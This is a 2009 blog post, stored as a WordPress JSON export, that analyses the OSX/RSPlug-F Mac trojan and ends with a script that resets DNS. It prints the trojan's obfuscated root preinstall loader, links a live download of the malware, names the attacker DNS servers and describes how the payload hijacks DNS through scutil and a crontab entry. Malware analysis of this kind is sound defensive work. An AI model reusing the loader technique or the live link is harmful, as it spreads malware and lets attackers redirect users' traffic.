{"id":70,"date":"2009-03-30T13:51:39","date_gmt":"2009-03-30T19:51:39","guid":{"rendered":"http:\/\/www.brunerd.com\/blog\/?p=70"},"modified":"2009-04-01T17:01:21","modified_gmt":"2009-04-01T23:01:21","slug":"tearing-apart-osxrsplug-f","status":"publish","type":"post","link":"https:\/\/www.brunerd.com\/blog\/2009\/03\/30\/tearing-apart-osxrsplug-f\/","title":{"rendered":"Tearing Apart OSX\/RSPlug-F"},"content":{"rendered":"<p>OK&#8230; I might be a bit late to the party (and Conficker is grabbing all the headlines) but there were some interesting things I found looking at the \u00a0headline grabbing trojan <a href=\"http:\/\/www.sophos.com\/security\/blog\/2009\/03\/3710.html\" target=\"_blank\">OSX\/RSPlug-F<\/a>. Thanks to the effervescent Graham Cluley for his <a href=\"http:\/\/www.sophos.com\/blogs\/gc\/g\/2009\/03\/25\/apple-mac-malware-caught-camera\/\" target=\"_blank\">witty\u00a0post<\/a> with video demonstration of OSX\/RSPlug-F being detected. It&#8217;s what started this investigation.<\/p>\n<p>So, being the curious guy I am I decided to download the very same file Graham did in his demo. While, hdtvxvid.org had since fixed their hijacked page, luckily the status bar had a readable URL that with some squinting I was able to decipher it&#8230; So I downloaded the sucker, you can too!<\/p>\n<p>Live Code:\u00a0<a href=\"http:\/\/plumpals.com\/download\/654a635065413d3df111c253\/HDTVPlayerv3.5.exe\" target=\"_blank\">OSX\/RSPlug-F trojan<\/a><\/p>\n<p>And what else can I say but: I&#8217;ll be darned if I can get the thing to <strong>work<\/strong>! Actually I do get it to work, but due to some coding errors out of the box, it&#8217;s a dud.<\/p>\n<p>So let&#8217;s start the dissection:<\/p>\n<p>The URL downloads\u00a0HDTVPlayerv3.5.dmg, inside is contained install.pkg, which if you&#8217;re using Safari on a Mac and have the damnable default of &#8220;Open &#8216;Safe&#8217; files after Downloading&#8221; it&#8217;ll go right to the installer. Which let me note <strong>Open &#8220;Safe&#8221; Files after downloading <\/strong>is the<strong> stupidest<\/strong> thing to happen to browsers since\u00a0Active-X. The air quotes around &#8220;Safe&#8221; do not help, Apple, it&#8217;s a sly wink and a nod that <strong>no file type is totally safe<\/strong> but *shrug* whatcha gonna do? I&#8217;ll tell you what:\u00a0<strong>don&#8217;t make it a dang default<\/strong>!<\/p>\n<p><a href=\"http:\/\/www.brunerd.com\/blog\/wp-content\/uploads\/firefox-rsplug-cached-before-clicking-save.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-86\" title=\"firefox-rsplug-cached-before-clicking-save\" src=\"http:\/\/www.brunerd.com\/blog\/wp-content\/uploads\/firefox-rsplug-cached-before-clicking-save.jpg\" alt=\"firefox-rsplug-cached-before-clicking-save\" width=\"550\" height=\"316\" srcset=\"https:\/\/www.brunerd.com\/blog\/wp-content\/uploads\/firefox-rsplug-cached-before-clicking-save.jpg 550w, https:\/\/www.brunerd.com\/blog\/wp-content\/uploads\/firefox-rsplug-cached-before-clicking-save-300x172.jpg 300w\" sizes=\"auto, (max-width: 550px) 100vw, 550px\" \/><\/a><\/p>\n<p><strong>Firefox<\/strong> is not off the hook either, let me bring up the poisonous Firefox convenience: &#8220;predownloading&#8221;. Did everyone notice how the virus alert for Graham pops up before he clicks save? How Firefox initiates downloads immediately to <a href=\"http:\/\/www.brunerd.com\/blog\/wp-content\/uploads\/firefoxcache-pre_downloading.jpg\" target=\"_blank\">cache<\/a> and upon the user clicking Save it copies it to the destination or if the click Cancel\u00a0it stays there. I think Firefox&#8217;s behaviour is ridiculous, yes it might make me happy when I download some ginormous game demo and come back hours later having forgotten to click Save and am pleasantly surprised that &#8220;hey it&#8217;s already here!&#8221;, but otherwise let me decide what and when something goes on my hard drive.<\/p>\n<p>Anyway&#8230; let&#8217;s look at an Installer window the average user won&#8217;t look at: Show Files<\/p>\n<p>.\/AdobeFlash<br \/>\n.\/Mozillaplug.plugin<br \/>\n.\/Mozillaplug.plugin\/Contents<br \/>\n.\/Mozillaplug.plugin\/Contents\/Info.plist<br \/>\n.\/Mozillaplug.plugin\/Contents\/MacOS<br \/>\n.\/Mozillaplug.plugin\/Contents\/MacOS\/VerifiedDownloadPlugin<br \/>\n.\/Mozillaplug.plugin\/Contents\/Resources<br \/>\n.\/Mozillaplug.plugin\/Contents\/Resources\/VerifiedDownloadPlugin.rsrc<br \/>\n.\/Mozillaplug.plugin\/Contents\/version.plist<\/p>\n<p>First couple of suspect thing is a single flat file called AdobeFlash and then Mozillaplug.plugin, which is really just the\u00a0<a href=\"http:\/\/unsanity.org\/archives\/mac_os_x\/reminder_verifi.php\" target=\"_blank\">mysterious<\/a> VerifiedDownloadPlugin. No mention of Cinema eh?<\/p>\n<p>Take a gander in <strong>Info.plist of install.pkg<\/strong> to see where it goes:<br \/>\nIFPkgFlagDefaultLocation\u00a0<em>\/Library\/Internet Plug-Ins\/<br \/>\n<\/em><\/p>\n<p>So then, why would it need root privileges for an admin writable folder, eh?<br \/>\n<a href=\"http:\/\/www.brunerd.com\/blog\/wp-content\/uploads\/redflag.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-84\" title=\"redflag\" src=\"http:\/\/www.brunerd.com\/blog\/wp-content\/uploads\/redflag.png\" alt=\"redflag\" width=\"514\" height=\"407\" srcset=\"https:\/\/www.brunerd.com\/blog\/wp-content\/uploads\/redflag.png 514w, https:\/\/www.brunerd.com\/blog\/wp-content\/uploads\/redflag-300x237.png 300w\" sizes=\"auto, (max-width: 514px) 100vw, 514px\" \/><\/a><br \/>\n<strong>IFPkgFlagAuthorizationAction <\/strong><em>RootAuthorization<\/em>, for those following along in the Info.plist<br \/>\nBonus:\u00a0<strong>CFBundleGetInfoString<\/strong> =\u00a0<em>who cares<br \/>\n<span style=\"font-style: normal;\">Double Secret Bonus:<br \/>\nResource\/en.lproj\/Description.plist\u00a0<strong>IFPkgDescriptionDescription<\/strong><em> =\u00a0shutdafuckup<\/em><\/span><\/em><\/p>\n<p>Strangely when you look in both the logs created by Installer.app in \/var\/log\/installer.log:<br \/>\nLeopard it says:\u00a0<code>\"<strong>admin<\/strong> auth received to install\"<br \/>\n<\/code>Tiger says: <code>\"<strong>Administrator<\/strong> authorization granted.\"<br \/>\n<\/code>I don&#8217;t know why you wouldn&#8217;t want the logs to clearly state root privileges were given, but there you have it, it doesn&#8217;t.<\/p>\n<p>So what does it do with the root\u00a0privileges? Hmmm? Let&#8217;s look in the preinstall\/preupgrade\u00a0<a href=\"http:\/\/www.brunerd.com\/blog\/wp-content\/uploads\/osx-rsplug-f_preinstall.txt\">scripts<\/a> which are identical because apparently the author didn&#8217;t realize that a\u00a0preflight script would kill two birds with one stone.<\/p>\n<p><code>#!\/bin\/sh<br \/>\nif [ $# != 1 ]; then type=0; else type=1; fi &amp;&amp; tail -37 $0 | sed '\/\\n\/!G;s\/\\(.\\)\\(.*\\n\\)\/&amp;\\2\\1\/;\/\/D;s\/.\/\/' | uudecode -o \/dev\/stdout | sed 's\/applemac\/AdobeFlash\/' | sed 's\/bsd\/7000\/' | sed 's\/gnu\/'$type'\/' &gt;`uname -p` &amp;&amp; sh `uname -p` &amp;&amp; rm `uname -p` &amp;&amp; exit<br \/>\nyksrepsak 777 nigeb<br \/>\nO(2\/H178PI@(C%6;EQ&amp;&lt;#-RX\"-Y(2\/21$1!!52M<br \/>\n.... &lt;SNIP&gt; ....<br \/>\n*4F;DI`8*(B(`A$8*TD(`5T4^&lt;3+4EC-8<br \/>\n`<br \/>\ndne<br \/>\n<\/code><\/p>\n<p>OK, so it takes the tail of itself , does some sed magic to flip around the reveresed UUEncoded data, spit it out, replace &#8216;applemac&#8217; with &#8216;AdobeFlash&#8217; (remember that&#8217;s in the bom payload), replace bsd with 7000, gnu with a boolean value that depends on whether there are any arguments when the script is called. Then after all that sed nonsense, names the file the result of uname -p, attempts to execute the file (as root), delete that file, then exit.<\/p>\n<p>Well, we&#8217;ll get to the &#8216;unencrypted&#8217; payload in a sec let&#8217;s run this and see what happens <a href=\"http:\/\/www.brunerd.com\/blog\/wp-content\/uploads\/leopard-fail.txt\">leopard-fail<\/a> anf\u00a0<a href=\"http:\/\/www.brunerd.com\/blog\/wp-content\/uploads\/tiger-fail.txt\">tiger-fail<\/a> &#8212; they fail. As a consequence, the AdobeFlash is NOT installed, but it is the same code as the preinstall so, still not off the hook here.Let&#8217;s see where we&#8217;re at:<\/p>\n<p>The root crontab is altered to inlude:\u00a0<code>* *\/5 * * * \/Library\/Internet Plug-Ins\/AdobeFlash<br \/>\n<\/code>Since the script fails, the package does not install, so the crontab pointing to it is useless&#8230;<\/p>\n<p><a href=\"http:\/\/www.brunerd.com\/blog\/wp-content\/uploads\/i386.txt\">i386<\/a> is left in the root, it doesn&#8217;t get a chance to delete itself, considering that all those &amp;&amp; statements mean &#8220;execute the next step only if the last thing completed correctly&#8221;, since it fails it doesn&#8217;t get deleted.<\/p>\n<p>i386 contains some more backward UUEncoded data with and some more sed replacements, then pipes it all into perl, here&#8217;s the <a href=\"http:\/\/www.brunerd.com\/blog\/wp-content\/uploads\/rsplug-f_perl.txt\">perl code<\/a> it attempts to run, but unfortunately it fails on line 14 and goes no further. But let&#8217;s say we fix the code so it can talk to the server, get a response, and parse the output into a file&#8230;<\/p>\n<p><a href=\"http:\/\/www.brunerd.com\/blog\/wp-content\/uploads\/685.txt\">685<\/a> is downloaded to \/tmp where it runs, does some more sed string swaps, secret decoder ring translations for the DNS servers, outputs\u00a0<a href=\"http:\/\/www.brunerd.com\/blog\/wp-content\/uploads\/rsplug-f_scutil-dnschange.txt\">this<\/a> &#8212; the nasty part that changes your DNS entries, then deletes the temp file. It makes good use of the very handy concept of &#8220;here documents&#8221; to script scutil to change the DNS servers, which seem to rotate, you&#8217;ll get new servers everytime you run it, suffice to say, the Ukranian subnet of 85.255.112.xxx is totally compromised, as well as 94.247.2.109 the Latvian server from which the files are downloaded. But who knows who&#8217;s financing and running it in this global day and age. But the propensity for\u00a0<a href=\"http:\/\/en.wikipedia.org\/wiki\/Matryoshka_doll\" target=\"_blank\">matryoshka<\/a> style nested code seems telling :)<\/p>\n<p>Running some dig commands to get DNS answers from the servers reveals they are given back valid addresses, currently, but I only tested a few sites, it might only have redirection for select dummy bank sites they have set up, who knows&#8230;<\/p>\n<p>The lesson here is: Always use Installer to look at the Files, see what your authorization level is, check out the pre\/post scripts and generally <strong>do what only 1% of the most vigilant of the population would do and you&#8217;ll be fine<\/strong>. Hopefully, root authorization will carry more weight in the Installer.app UI and say &#8220;Hey are your sure you want to grant <strong>root<\/strong> &#8212; REALLY!?&#8221;, pre\/postflight scripts will be easier to look in UI (I <strong>am<\/strong> dreaming aren&#8217;t I), the logs won&#8217;t lie about the auth level (very do-able), and Firefox will respect my wishes and only truly Save when <strong>I<\/strong> click Save&#8230; (it&#8217;s open source, easy to change, but it&#8217;ll take a flame war to settle it)<\/p>\n<p>Until then, I hope you enjoyed this malware tour, stay safe and away from porn sites with 3rd party HD codecs.<\/p>\n<p>Update:<br \/>\nI suppose it&#8217;d be helpful to add some instructions on how to reverse the scutil modifications, here&#8217;s the <a href=\"http:\/\/www.brunerd.com\/blog\/wp-content\/uploads\/reset-dns.sh\">script<\/a> (the code might look familiar)<\/p>\n<p><code>#!\/bin\/sh<br \/>\nif (( $(id -u) != 0 )); then echo \"Please run with sudo\" &amp;&amp; exit 1; fi<br \/>\nPSID=$( (\/usr\/sbin\/scutil | \/usr\/bin\/grep PrimaryService | \/usr\/bin\/sed -e 's\/.*PrimaryService : \/\/')&lt;&lt; EOF<br \/>\nget State:\/Network\/Global\/IPv4<br \/>\nd.show<br \/>\nquit<br \/>\nEOF<br \/>\n)<\/code><\/p>\n<p><code> <\/code><\/p>\n<p><code>\/usr\/sbin\/scutil &lt;&lt; EOF<br \/>\nremove State:\/Network\/Service\/$PSID\/DNS<br \/>\nquit<br \/>\nEOF<\/p>\n<p><\/code><\/p>\n<p><code>echo \"Please toggle your network adapter on\/off to refresh DNS servers from DHCP\"<\/code><\/p>\n<p>Basically it nukes the DNS entries that got hosed, then pulls down the DHCP info, uless you have manually entered DNS settings, in which case, you should know what you&#8217;re doing.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>OK&#8230; I might be a bit late to the party (and Conficker is grabbing all the headlines) but there were some interesting things I found looking at the \u00a0headline grabbing trojan OSX\/RSPlug-F. Thanks to the effervescent Graham Cluley for his witty\u00a0post with video demonstration of OSX\/RSPlug-F being detected. It&#8217;s what started this investigation. So, being [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3,11,4,5,12,8],"tags":[],"class_list":["post-70","post","type-post","status-publish","format-standard","hentry","category-apple","category-industry","category-os-x","category-packages","category-scripting","category-security"],"_links":{"self":[{"href":"https:\/\/www.brunerd.com\/blog\/wp-json\/wp\/v2\/posts\/70","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.brunerd.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.brunerd.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.brunerd.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.brunerd.com\/blog\/wp-json\/wp\/v2\/comments?post=70"}],"version-history":[{"count":22,"href":"https:\/\/www.brunerd.com\/blog\/wp-json\/wp\/v2\/posts\/70\/revisions"}],"predecessor-version":[{"id":102,"href":"https:\/\/www.brunerd.com\/blog\/wp-json\/wp\/v2\/posts\/70\/revisions\/102"}],"wp:attachment":[{"href":"https:\/\/www.brunerd.com\/blog\/wp-json\/wp\/v2\/media?parent=70"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.brunerd.com\/blog\/wp-json\/wp\/v2\/categories?post=70"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.brunerd.com\/blog\/wp-json\/wp\/v2\/tags?post=70"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}